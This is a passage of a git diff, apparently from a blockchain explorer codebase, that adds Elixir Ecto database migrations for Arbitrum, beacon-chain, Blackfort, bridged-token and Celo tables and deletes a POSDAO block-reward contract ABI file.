+defmodule Explorer.Repo.Arbitrum.Migrations.AddDataBlobsToBatchesTable do + use Ecto.Migration + + def change do + create table(:arbitrum_batches_to_da_blobs, primary_key: false) do + add( + :batch_number, + references(:arbitrum_l1_batches, + column: :number, + on_delete: :delete_all, + on_update: :update_all, + type: :integer + ), + null: false, + primary_key: true + ) + + add( + :data_blob_id, + references(:arbitrum_da_multi_purpose, + column: :data_key, + on_delete: :delete_all, + on_update: :update_all, + type: :bytea + ), + null: false + ) + + timestamps(null: false, type: :utc_datetime_usec) + end + + # Create index for efficient lookups by data_blob_id + create(index(:arbitrum_batches_to_da_blobs, [:data_blob_id])) + end +end diff --git a/apps/explorer/priv/beacon/migrations/20240109102458_create_blobs_tables.exs b/apps/explorer/priv/beacon/migrations/20240109102458_create_blobs_tables.exs new file mode 100644 index 000000000000..e67cf501babc --- /dev/null +++ b/apps/explorer/priv/beacon/migrations/20240109102458_create_blobs_tables.exs @@ -0,0 +1,34 @@ +defmodule Explorer.Repo.Beacon.Migrations.CreateBlobsTables do + use Ecto.Migration + + def change do + create table(:beacon_blobs_transactions, primary_key: false) do + add(:hash, references(:transactions, column: :hash, on_delete: :delete_all, type: :bytea), + null: false, + primary_key: true + ) + + add(:max_fee_per_blob_gas, :numeric, precision: 100, null: false) + add(:blob_gas_price, :numeric, precision: 100, null: false) + add(:blob_gas_used, :numeric, precision: 100, null: false) + add(:blob_versioned_hashes, {:array, :bytea}, null: false) + + timestamps(null: false, type: :utc_datetime_usec) + end + + alter table(:blocks) do + add(:blob_gas_used, :numeric, precision: 100) + add(:excess_blob_gas, :numeric, precision: 100) + end + + create table(:beacon_blobs, primary_key: false) do + add(:hash, :bytea, null: false, primary_key: true) + + add(:blob_data, :bytea, null: true) + add(:kzg_commitment, :bytea, null: true) + add(:kzg_proof, :bytea, null: true) + + timestamps(updated_at: false, null: false, type: :utc_datetime_usec, default: fragment("now()")) + end + end +end diff --git a/apps/explorer/priv/beacon/migrations/20240318154323_create_blob_transactions_index.exs b/apps/explorer/priv/beacon/migrations/20240318154323_create_blob_transactions_index.exs new file mode 100644 index 000000000000..094e49a51600 --- /dev/null +++ b/apps/explorer/priv/beacon/migrations/20240318154323_create_blob_transactions_index.exs @@ -0,0 +1,15 @@ +defmodule Explorer.Repo.Beacon.Migrations.AddTransactionsRecentBlobTransactionsIndex do + use Ecto.Migration + @disable_ddl_transaction true + @disable_migration_lock true + + def change do + create_if_not_exists( + index(:transactions, ["block_number DESC, index DESC"], + name: :transactions_recent_blob_transactions_index, + where: "type = 3", + concurrently: true + ) + ) + end +end diff --git a/apps/explorer/priv/beacon/migrations/20250813001523_create_deposits.exs b/apps/explorer/priv/beacon/migrations/20250813001523_create_deposits.exs new file mode 100644 index 000000000000..4b95822f155e --- /dev/null +++ b/apps/explorer/priv/beacon/migrations/20250813001523_create_deposits.exs @@ -0,0 +1,43 @@ +defmodule Explorer.Repo.Beacon.Migrations.CreateDeposits do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE beacon_deposits_status AS ENUM ('invalid', 'pending', 'completed')", + "DROP TYPE beacon_deposits_status" + ) + + create table(:beacon_deposits, primary_key: false) do + add(:pubkey, :bytea, null: false) + add(:withdrawal_credentials, :bytea, null: false) + add(:amount, :decimal, precision: 100, scale: 0, null: false) + add(:signature, :bytea, null: false) + add(:index, :bigint, null: false, primary_key: true) + add(:block_number, :bigint, null: false) + add(:block_timestamp, :utc_datetime_usec, null: false) + add(:log_index, :integer, null: false) + add(:status, :beacon_deposits_status, null: false) + + add(:from_address_hash, references(:addresses, column: :hash, on_delete: :delete_all, type: :bytea), null: false) + + add(:block_hash, references(:blocks, column: :hash, on_delete: :delete_all, type: :bytea), null: false) + + add(:transaction_hash, references(:transactions, column: :hash, on_delete: :delete_all, type: :bytea), + null: false + ) + + timestamps(null: false, type: :utc_datetime_usec) + end + + create(index(:beacon_deposits, [:from_address_hash])) + create(index(:beacon_deposits, [:block_hash])) + create(index(:beacon_deposits, [:pubkey], where: "status != 'invalid'")) + + create( + index(:beacon_deposits, [:pubkey, :withdrawal_credentials, :amount, :signature, :block_timestamp], + where: "status = 'pending'", + name: :beacon_deposits_composite_key_only_pending_index + ) + ) + end +end diff --git a/apps/explorer/priv/blackfort/migrations/20240910112251_add_blackfort_validators.exs b/apps/explorer/priv/blackfort/migrations/20240910112251_add_blackfort_validators.exs new file mode 100644 index 000000000000..d1d2b55e8d0d --- /dev/null +++ b/apps/explorer/priv/blackfort/migrations/20240910112251_add_blackfort_validators.exs @@ -0,0 +1,20 @@ +defmodule Explorer.Repo.Blackfort.Migrations.AddBlackfortValidators do + use Ecto.Migration + + def change do + create table(:validators_blackfort, primary_key: false) do + add(:address_hash, :bytea, null: false, primary_key: true) + add(:name, :string) + add(:commission, :smallint) + add(:self_bonded_amount, :numeric, precision: 100) + add(:delegated_amount, :numeric, precision: 100) + add(:slashing_status_is_slashed, :boolean, default: false) + add(:slashing_status_by_block, :bigint) + add(:slashing_status_multiplier, :integer) + + timestamps() + end + + create_if_not_exists(index(:validators_blackfort, ["address_hash ASC"])) + end +end diff --git a/apps/explorer/priv/bridged_tokens/migrations/20230919080116_add_bridged_tokens.exs b/apps/explorer/priv/bridged_tokens/migrations/20230919080116_add_bridged_tokens.exs new file mode 100644 index 000000000000..2622358c1dff --- /dev/null +++ b/apps/explorer/priv/bridged_tokens/migrations/20230919080116_add_bridged_tokens.exs @@ -0,0 +1,29 @@ +defmodule Explorer.Repo.BridgedTokens.Migrations.AddBridgedTokens do + use Ecto.Migration + + def change do + alter table(:tokens) do + add(:bridged, :boolean, null: true) + end + + create table(:bridged_tokens, primary_key: false) do + add(:foreign_chain_id, :numeric, null: false) + add(:foreign_token_contract_address_hash, :bytea, null: false) + add(:exchange_rate, :decimal) + add(:custom_metadata, :string, null: true) + add(:lp_token, :boolean, null: true) + add(:custom_cap, :decimal, null: true) + add(:type, :string, null: true) + + add( + :home_token_contract_address_hash, + references(:tokens, column: :contract_address_hash, on_delete: :delete_all, type: :bytea), + null: false + ) + + timestamps() + end + + create(unique_index(:bridged_tokens, :home_token_contract_address_hash)) + end +end diff --git a/apps/explorer/priv/celo/migrations/20240323152023_add_custom_fields.exs b/apps/explorer/priv/celo/migrations/20240323152023_add_custom_fields.exs new file mode 100644 index 000000000000..8de00c05e774 --- /dev/null +++ b/apps/explorer/priv/celo/migrations/20240323152023_add_custom_fields.exs @@ -0,0 +1,11 @@ +defmodule Explorer.Repo.Celo.Migrations.AddCustomFields do + use Ecto.Migration + + def change do + alter table(:transactions) do + add(:gateway_fee, :numeric, precision: 100, null: true) + add(:gas_token_contract_address_hash, :bytea, null: true) + add(:gas_fee_recipient_address_hash, :bytea, null: true) + end + end +end diff --git a/apps/explorer/priv/celo/migrations/20240424121856_add_pending_epoch_block_operations.exs b/apps/explorer/priv/celo/migrations/20240424121856_add_pending_epoch_block_operations.exs new file mode 100644 index 000000000000..3b36446be154 --- /dev/null +++ b/apps/explorer/priv/celo/migrations/20240424121856_add_pending_epoch_block_operations.exs @@ -0,0 +1,14 @@ +defmodule Explorer.Repo.Celo.Migrations.AddPendingEpochBlockOperations do + use Ecto.Migration + + def change do + create table(:celo_pending_epoch_block_operations, primary_key: false) do + add(:block_hash, references(:blocks, column: :hash, type: :bytea, on_delete: :delete_all), + null: false, + primary_key: true + ) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/celo/migrations/20240512143204_remove_transaction_hash_from_primary_key_in_logs.exs b/apps/explorer/priv/celo/migrations/20240512143204_remove_transaction_hash_from_primary_key_in_logs.exs new file mode 100644 index 000000000000..9429c33f0e91 --- /dev/null +++ b/apps/explorer/priv/celo/migrations/20240512143204_remove_transaction_hash_from_primary_key_in_logs.exs @@ -0,0 +1,26 @@ +defmodule Explorer.Repo.Celo.Migrations.RemoveTransactionHashFromPrimaryKeyInLogs do + use Ecto.Migration + + def change do + execute( + """ + ALTER TABLE logs + DROP CONSTRAINT logs_pkey, + ADD PRIMARY KEY (block_hash, index); + """, + """ + ALTER TABLE logs + DROP CONSTRAINT logs_pkey, + ADD PRIMARY KEY (transaction_hash, block_hash, index); + """ + ) + + execute( + "ALTER TABLE logs ALTER COLUMN transaction_hash DROP NOT NULL", + "ALTER TABLE logs ALTER COLUMN transaction_hash SET NOT NULL" + ) + + drop(unique_index(:logs, [:transaction_hash, :index])) + create_if_not_exists(index(:logs, [:transaction_hash, :index])) + end +end diff --git a/apps/explorer/priv/celo/migrations/20240513091316_remove_transaction_hash_from_primary_key_in_token_transfers.exs b/apps/explorer/priv/celo/migrations/20240513091316_remove_transaction_hash_from_primary_key_in_token_transfers.exs new file mode 100644 index 000000000000..31dd75fb6e85 --- /dev/null +++ b/apps/explorer/priv/celo/migrations/20240513091316_remove_transaction_hash_from_primary_key_in_token_transfers.exs @@ -0,0 +1,23 @@ +defmodule Explorer.Repo.Celo.Migrations.RemoveTransactionHashFromPrimaryKeyInTokenTransfers do + use Ecto.Migration + + def change do + execute( + """ + ALTER TABLE token_transfers + DROP CONSTRAINT token_transfers_pkey, + ADD PRIMARY KEY (block_hash, log_index); + """, + """ + ALTER TABLE token_transfers + DROP CONSTRAINT token_transfers_pkey, + ADD PRIMARY KEY (transaction_hash, block_hash, log_index); + """ + ) + + execute( + "ALTER TABLE token_transfers ALTER COLUMN transaction_hash DROP NOT NULL", + "ALTER TABLE token_transfers ALTER COLUMN transaction_hash SET NOT NULL" + ) + end +end diff --git a/apps/explorer/priv/celo/migrations/20240607185817_add_epoch_rewards.exs b/apps/explorer/priv/celo/migrations/20240607185817_add_epoch_rewards.exs new file mode 100644 index 000000000000..b44e2069a2bd --- /dev/null +++ b/apps/explorer/priv/celo/migrations/20240607185817_add_epoch_rewards.exs @@ -0,0 +1,62 @@ +defmodule Explorer.Repo.Celo.Migrations.AddEpochRewards do + use Ecto.Migration + + def change do + create table(:celo_epoch_rewards, primary_key: false) do + add(:reserve_bolster_transfer_log_index, :integer) + add(:community_transfer_log_index, :integer) + add(:carbon_offsetting_transfer_log_index, :integer) + + add( + :block_hash, + references(:blocks, column: :hash, type: :bytea, on_delete: :delete_all), + null: false, + primary_key: true + ) + + timestamps() + end + + execute( + """ + ALTER TABLE celo_epoch_rewards + ADD CONSTRAINT celo_epoch_rewards_reserve_bolster_transfer_log_index_fkey + FOREIGN KEY (reserve_bolster_transfer_log_index, block_hash) + REFERENCES token_transfers (log_index, block_hash) + ON DELETE CASCADE + """, + """ + ALTER TABLE celo_epoch_rewards + DROP CONSTRAINT celo_epoch_rewards_reserve_bolster_transfer_log_index_fkey + """ + ) + + execute( + """ + ALTER TABLE celo_epoch_rewards + ADD CONSTRAINT celo_epoch_rewards_community_transfer_log_index_fkey + FOREIGN KEY (community_transfer_log_index, block_hash) + REFERENCES token_transfers (log_index, block_hash) + ON DELETE CASCADE + """, + """ + ALTER TABLE celo_epoch_rewards + DROP CONSTRAINT celo_epoch_rewards_community_transfer_log_index_fkey + """ + ) + + execute( + """ + ALTER TABLE celo_epoch_rewards + ADD CONSTRAINT celo_epoch_rewards_carbon_offsetting_transfer_log_index_fkey + FOREIGN KEY (carbon_offsetting_transfer_log_index, block_hash) + REFERENCES token_transfers (log_index, block_hash) + ON DELETE CASCADE + """, + """ + ALTER TABLE celo_epoch_rewards + DROP CONSTRAINT celo_epoch_rewards_carbon_offsetting_transfer_log_index_fkey + """ + ) + end +end diff --git a/apps/explorer/priv/celo/migrations/20240612135216_add_validator_group_votes.exs b/apps/explorer/priv/celo/migrations/20240612135216_add_validator_group_votes.exs new file mode 100644 index 000000000000..3d6f1f4eeb18 --- /dev/null +++ b/apps/explorer/priv/celo/migrations/20240612135216_add_validator_group_votes.exs @@ -0,0 +1,36 @@ +defmodule Explorer.Repo.Celo.Migrations.AddValidatorGroupVotes do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE celo_validator_group_vote_type AS ENUM ('activated', 'revoked')", + "DROP TYPE celo_validator_group_vote_type" + ) + + create table(:celo_validator_group_votes, primary_key: false) do + add( + :account_address_hash, + references(:addresses, column: :hash, on_delete: :delete_all, type: :bytea), + null: false + ) + + add( + :group_address_hash, + references(:addresses, column: :hash, on_delete: :delete_all, type: :bytea), + null: false + ) + + add(:value, :numeric, precision: 100, null: false) + add(:units, :numeric, precision: 100, null: false) + + add(:type, :celo_validator_group_vote_type, null: false) + + add(:transaction_hash, :bytea, null: false, primary_key: true) + + add(:block_number, :integer, null: false) + add(:block_hash, :bytea, null: false) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/celo/migrations/20240614125614_add_election_rewards.exs b/apps/explorer/priv/celo/migrations/20240614125614_add_election_rewards.exs new file mode 100644 index 000000000000..30dc3a67de0a --- /dev/null +++ b/apps/explorer/priv/celo/migrations/20240614125614_add_election_rewards.exs @@ -0,0 +1,38 @@ +defmodule Explorer.Repo.Celo.Migrations.AddElectionRewards do + use Ecto.Migration + + def change do + execute( + "CREATE TYPE celo_election_reward_type AS ENUM ('voter', 'validator', 'group', 'delegated_payment')", + "DROP TYPE celo_election_reward_type" + ) + + create table(:celo_election_rewards, primary_key: false) do + add(:amount, :numeric, precision: 100, null: false) + add(:type, :celo_election_reward_type, null: false, primary_key: true) + + add( + :block_hash, + references(:blocks, column: :hash, type: :bytea, on_delete: :delete_all), + null: false, + primary_key: true + ) + + add( + :account_address_hash, + references(:addresses, column: :hash, on_delete: :delete_all, type: :bytea), + null: false, + primary_key: true + ) + + add( + :associated_account_address_hash, + references(:addresses, column: :hash, on_delete: :delete_all, type: :bytea), + null: false, + primary_key: true + ) + + timestamps() + end + end +end diff --git a/apps/explorer/priv/celo/migrations/20240715110334_remove_unused_fields_from_validator_group_votes.exs b/apps/explorer/priv/celo/migrations/20240715110334_remove_unused_fields_from_validator_group_votes.exs new file mode 100644 index 000000000000..8d678d5c8341 --- /dev/null +++ b/apps/explorer/priv/celo/migrations/20240715110334_remove_unused_fields_from_validator_group_votes.exs @@ -0,0 +1,10 @@ +defmodule Explorer.Repo.Celo.Migrations.RemoveUnusedFieldsFromValidatorGroupVotes do + use Ecto.Migration + + def change do + alter table(:celo_validator_group_votes) do + remove(:value, :numeric, precision: 100, null: false, default: 0) + remove(:units, :numeric, precision: 100, null: false, default: 0) + end + end +end diff --git a/apps/explorer/priv/celo/migrations/20240830094610_add_account_address_and_group_address_to_primary_key.exs b/apps/explorer/priv/celo/migrations/20240830094610_add_account_address_and_group_address_to_primary_key.exs new file mode 100644 index 000000000000..d03857ba7e52 --- /dev/null +++ b/apps/explorer/priv/celo/migrations/20240830094610_add_account_address_and_group_address_to_primary_key.exs @@ -0,0 +1,33 @@ +defmodule Explorer.Repo.Celo.Migrations.AddAccountAddressAndGroupAddressToPrimaryKey do + use Ecto.Migration + + def up do + execute(""" + ALTER TABLE celo_validator_group_votes + DROP CONSTRAINT celo_validator_group_votes_pkey + """) + + execute(""" + ALTER TABLE celo_validator_group_votes + ADD CONSTRAINT celo_validator_group_votes_pkey + PRIMARY KEY ( + transaction_hash, + account_address_hash, + group_address_hash + ) + """) + end + + def down do + execute(""" + ALTER TABLE celo_validator_group_votes + DROP CONSTRAINT celo_validator_group_votes_pkey + """) + + execute(""" + ALTER TABLE celo_validator_group_votes + ADD CONSTRAINT celo_validator_group_votes_pkey + PRIMARY KEY transaction_hash + """) + end +end diff --git a/apps/explorer/priv/celo/migrations/20241029131554_modify_collated_gas_price_constraint.exs b/apps/explorer/priv/celo/migrations/20241029131554_modify_collated_gas_price_constraint.exs new file mode 100644 index 000000000000..3162375fd4d7 --- /dev/null +++ b/apps/explorer/priv/celo/migrations/20241029131554_modify_collated_gas_price_constraint.exs @@ -0,0 +1,27 @@ +defmodule Explorer.Repo.Celo.Migrations.ModifyCollatedGasPriceConstraint do + use Ecto.Migration + + def up do + execute("ALTER TABLE transactions DROP CONSTRAINT collated_gas_price") + + create( + constraint( + :transactions, + :collated_gas_price, + check: "block_hash IS NULL OR gas_price IS NOT NULL OR max_fee_per_gas IS NOT NULL" + ) + ) + end + + def down do + execute("ALTER TABLE transactions DROP CONSTRAINT collated_gas_price") + + create( + constraint( + :transactions, + :collated_gas_price, + check: "block_hash IS NULL OR gas_price IS NOT NULL" + ) + ) + end +end diff --git a/apps/explorer/priv/celo/migrations/20250416085705_create_epoch.exs b/apps/explorer/priv/celo/migrations/20250416085705_create_epoch.exs new file mode 100644 index 000000000000..73b531721e0e --- /dev/null +++ b/apps/explorer/priv/celo/migrations/20250416085705_create_epoch.exs @@ -0,0 +1,108 @@ +defmodule Explorer.Repo.Celo.Migrations.CreateEpoch do + use Ecto.Migration + + def change do + create table(:celo_epochs, primary_key: false) do + add(:number, :smallint, null: false, primary_key: true) + add(:is_fetched, :boolean, null: false, default: false) + + add(:start_block_number, :integer) + add(:end_block_number, :integer) + + add( + :start_processing_block_hash, + references( + :blocks, + column: :hash, + type: :bytea, + on_delete: :delete_all + ) + ) + + add( + :end_processing_block_hash, + references( + :blocks, + column: :hash, + type: :bytea, + on_delete: :delete_all + ) + ) + + timestamps() + end + + l2_migration_block_number = Application.get_env(:explorer, :celo)[:l2_migration_block] + + if l2_migration_block_number do + execute(""" + WITH epoch_blocks AS ( + SELECT + b.number AS block_number, + b.hash AS block_hash, + FLOOR(b.number / 17280) AS epoch_number + FROM celo_pending_epoch_block_operations op + JOIN blocks b ON op.block_hash = b.hash + WHERE b.consensus = true AND b.number > 0 AND b.number < #{l2_migration_block_number} + ) + INSERT INTO celo_epochs ( + number, + start_processing_block_hash, + end_processing_block_hash, + start_block_number, + end_block_number, + inserted_at, + updated_at + ) + SELECT + epoch_number, + block_hash AS start_processing_block_hash, + block_hash AS end_processing_block_hash, + ((epoch_number - 1) * 17280) AS start_block_number, + (block_number - 1) AS end_block_number, + NOW(), + NOW() + FROM epoch_blocks + """) + + execute(""" + WITH epoch_blocks AS ( + SELECT + b.number AS block_number, + b.hash AS block_hash, + FLOOR(b.number / 17280) AS epoch_number + FROM blocks b + WHERE + b.consensus = true AND + b.number > 0 AND + b.number < #{l2_migration_block_number} AND + b.number % 17280 = 0 AND + NOT EXISTS ( + SELECT 1 FROM celo_epochs e + WHERE e.number = FLOOR(b.number / 17280) + ) + ) + INSERT INTO celo_epochs ( + number, + is_fetched, + start_processing_block_hash, + end_processing_block_hash, + start_block_number, + end_block_number, + inserted_at, + updated_at + ) + SELECT + epoch_number, + true AS is_fetched, + block_hash AS start_processing_block_hash, + block_hash AS end_processing_block_hash, + ((epoch_number - 1) * 17280) AS start_block_number, + (epoch_number * 17280 - 1) AS end_block_number, -- End at last block of epoch + NOW(), + NOW() + FROM epoch_blocks + """) + end + end +end diff --git a/apps/explorer/priv/celo/migrations/20250418141539_remove_pending_epoch_block_operations.exs b/apps/explorer/priv/celo/migrations/20250418141539_remove_pending_epoch_block_operations.exs new file mode 100644 index 000000000000..6121c118bb17 --- /dev/null +++ b/apps/explorer/priv/celo/migrations/20250418141539_remove_pending_epoch_block_operations.exs @@ -0,0 +1,7 @@ +defmodule Explorer.Repo.Celo.Migrations.RemovePendingEpochBlockOperations do + use Ecto.Migration + + def change do + drop(table(:celo_pending_epoch_block_operations)) + end +end diff --git a/apps/explorer/priv/celo/migrations/20250420130550_epoch_rewards_replace_block_hash_with_epoch_number.exs b/apps/explorer/priv/celo/migrations/20250420130550_epoch_rewards_replace_block_hash_with_epoch_number.exs new file mode 100644 index 000000000000..c9bd94a00dc7 --- /dev/null +++ b/apps/explorer/priv/celo/migrations/20250420130550_epoch_rewards_replace_block_hash_with_epoch_number.exs @@ -0,0 +1,40 @@ +defmodule Explorer.Repo.Celo.Migrations.EpochRewardsReplaceBlockHashWithEpochNumber do + use Ecto.Migration + + def change do + l2_migration_block_number = Application.get_env(:explorer, :celo)[:l2_migration_block] + + if l2_migration_block_number do + execute(""" + DELETE FROM celo_epoch_rewards er + USING blocks b + WHERE er.block_hash = b.hash + AND b.number >= #{l2_migration_block_number} + """) + end + + alter table(:celo_epoch_rewards) do + add(:epoch_number, references(:celo_epochs, column: :number, on_delete: :delete_all)) + end + + execute(""" + UPDATE celo_epoch_rewards er + SET epoch_number = e.number + FROM celo_epochs e + WHERE er.block_hash = e.end_processing_block_hash + """) + + execute(""" + ALTER TABLE celo_epoch_rewards DROP CONSTRAINT celo_epoch_rewards_pkey; + """) + + execute(""" + ALTER TABLE celo_epoch_rewards ADD PRIMARY KEY (epoch_number); + """) + + # Drop the block_hash column + alter table(:celo_epoch_rewards) do + remove(:block_hash) + end + end +end diff --git a/apps/explorer/priv/celo/migrations/20250420140107_election_rewards_replace_block_hash_with_epoch_number.exs b/apps/explorer/priv/celo/migrations/20250420140107_election_rewards_replace_block_hash_with_epoch_number.exs new file mode 100644 index 000000000000..76215c792d9b --- /dev/null +++ b/apps/explorer/priv/celo/migrations/20250420140107_election_rewards_replace_block_hash_with_epoch_number.exs @@ -0,0 +1,36 @@ +defmodule Explorer.Repo.Migrations.ElectionRewardsReplaceBlockHashWithEpochNumber do + use Ecto.Migration + + def change do + alter table(:celo_election_rewards) do + add( + :epoch_number, + references( + :celo_epochs, + column: :number, + on_delete: :delete_all + ) + ) + end + + execute(""" + UPDATE celo_election_rewards er + SET epoch_number = e.number + FROM celo_epochs e + WHERE er.block_hash = e.end_processing_block_hash + """) + + execute(""" + ALTER TABLE celo_election_rewards DROP CONSTRAINT celo_election_rewards_pkey; + """) + + execute(""" + ALTER TABLE celo_election_rewards + ADD PRIMARY KEY (type, epoch_number, account_address_hash, associated_account_address_hash); + """) + + alter table(:celo_election_rewards) do + remove(:block_hash) + end + end +end diff --git a/apps/explorer/priv/contracts_abi/posdao/BlockRewardAuRa.json b/apps/explorer/priv/contracts_abi/posdao/BlockRewardAuRa.json deleted file mode 100644 index 49737b7a3220..000000000000 --- a/apps/explorer/priv/contracts_abi/posdao/BlockRewardAuRa.json +++ /dev/null @@ -1,636 +0,0 @@ -[ - { - "constant": true, - "inputs": [ - { - "name": "_poolStakingAddress", - "type": "address" - }, - { - "name": "_staker", - "type": "address" - } - ], - "name": "epochsToClaimRewardFrom", - "outputs": [ - { - "name": "epochsToClaimFrom", - "type": "uint256[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "bridgeTokenReward", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - }, - { - "name": "", - "type": "uint256" - } - ], - "name": "mintedForAccountInBlock", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - }, - { - "name": "", - "type": "uint256" - } - ], - "name": "epochPoolNativeReward", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "mintedForAccount", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - } - ], - "name": "mintedInBlock", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "mintedTotally", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "tokenRewardUndistributed", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "nativeRewardUndistributed", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "address" - } - ], - "name": "mintedTotallyByBridge", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - }, - { - "name": "", - "type": "uint256" - } - ], - "name": "epochPoolTokenReward", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - } - ], - "name": "validatorMinRewardPercent", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "validatorSetContract", - "outputs": [ - { - "name": "", - "type": "address" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "bridgeNativeReward", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "", - "type": "uint256" - }, - { - "name": "", - "type": "uint256" - } - ], - "name": "blocksCreated", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "name": "amount", - "type": "uint256" - }, - { - "indexed": true, - "name": "receiver", - "type": "address" - }, - { - "indexed": true, - "name": "bridge", - "type": "address" - } - ], - "name": "AddedReceiver", - "type": "event" - }, - { - "anonymous": false, - "inputs": [ - { - "indexed": false, - "name": "receivers", - "type": "address[]" - }, - { - "indexed": false, - "name": "rewards", - "type": "uint256[]" - } - ], - "name": "MintedNative", - "type": "event" - }, - { - "constant": false, - "inputs": [ - { - "name": "_amount", - "type": "uint256" - } - ], - "name": "addBridgeNativeRewardReceivers", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_amount", - "type": "uint256" - } - ], - "name": "addBridgeTokenRewardReceivers", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_amount", - "type": "uint256" - }, - { - "name": "_receiver", - "type": "address" - } - ], - "name": "addExtraReceiver", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_validatorSet", - "type": "address" - }, - { - "name": "_prevBlockReward", - "type": "address" - } - ], - "name": "initialize", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_bridge", - "type": "address" - }, - { - "name": "_prevBlockRewardContract", - "type": "address" - } - ], - "name": "migrateMintingStatistics", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "benefactors", - "type": "address[]" - }, - { - "name": "kind", - "type": "uint16[]" - } - ], - "name": "reward", - "outputs": [ - { - "name": "receiversNative", - "type": "address[]" - }, - { - "name": "rewardsNative", - "type": "uint256[]" - } - ], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_bridgesAllowed", - "type": "address[]" - } - ], - "name": "setErcToNativeBridgesAllowed", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_bridgesAllowed", - "type": "address[]" - } - ], - "name": "setNativeToErcBridgesAllowed", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": false, - "inputs": [ - { - "name": "_bridgesAllowed", - "type": "address[]" - } - ], - "name": "setErcToErcBridgesAllowed", - "outputs": [], - "payable": false, - "stateMutability": "nonpayable", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "blockRewardContractId", - "outputs": [ - { - "name": "", - "type": "bytes4" - } - ], - "payable": false, - "stateMutability": "pure", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "ercToErcBridgesAllowed", - "outputs": [ - { - "name": "", - "type": "address[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "ercToNativeBridgesAllowed", - "outputs": [ - { - "name": "", - "type": "address[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "extraReceiversQueueSize", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "isInitialized", - "outputs": [ - { - "name": "", - "type": "bool" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [], - "name": "nativeToErcBridgesAllowed", - "outputs": [ - { - "name": "", - "type": "address[]" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_poolId", - "type": "uint256" - } - ], - "name": "validatorRewardPercent", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_stakingEpoch", - "type": "uint256" - }, - { - "name": "_validatorStaked", - "type": "uint256" - }, - { - "name": "_totalStaked", - "type": "uint256" - }, - { - "name": "_poolReward", - "type": "uint256" - } - ], - "name": "validatorShare", - "outputs": [ - { - "name": "", - "type": "uint256" - } - ], - "payable": false, - "stateMutability": "view", - "type": "function" - }, - { - "constant": true, - "inputs": [ - { - "name": "_stakingEpoch", - "type": "uint256" - }, - { - "name": "_delegatorStaked", - "type": "uint256" - }, - { - "name": "_validatorStaked", - "type": "uint256" - }, - { - "name": "_totalStaked", - "type": "uint256" - }, - { 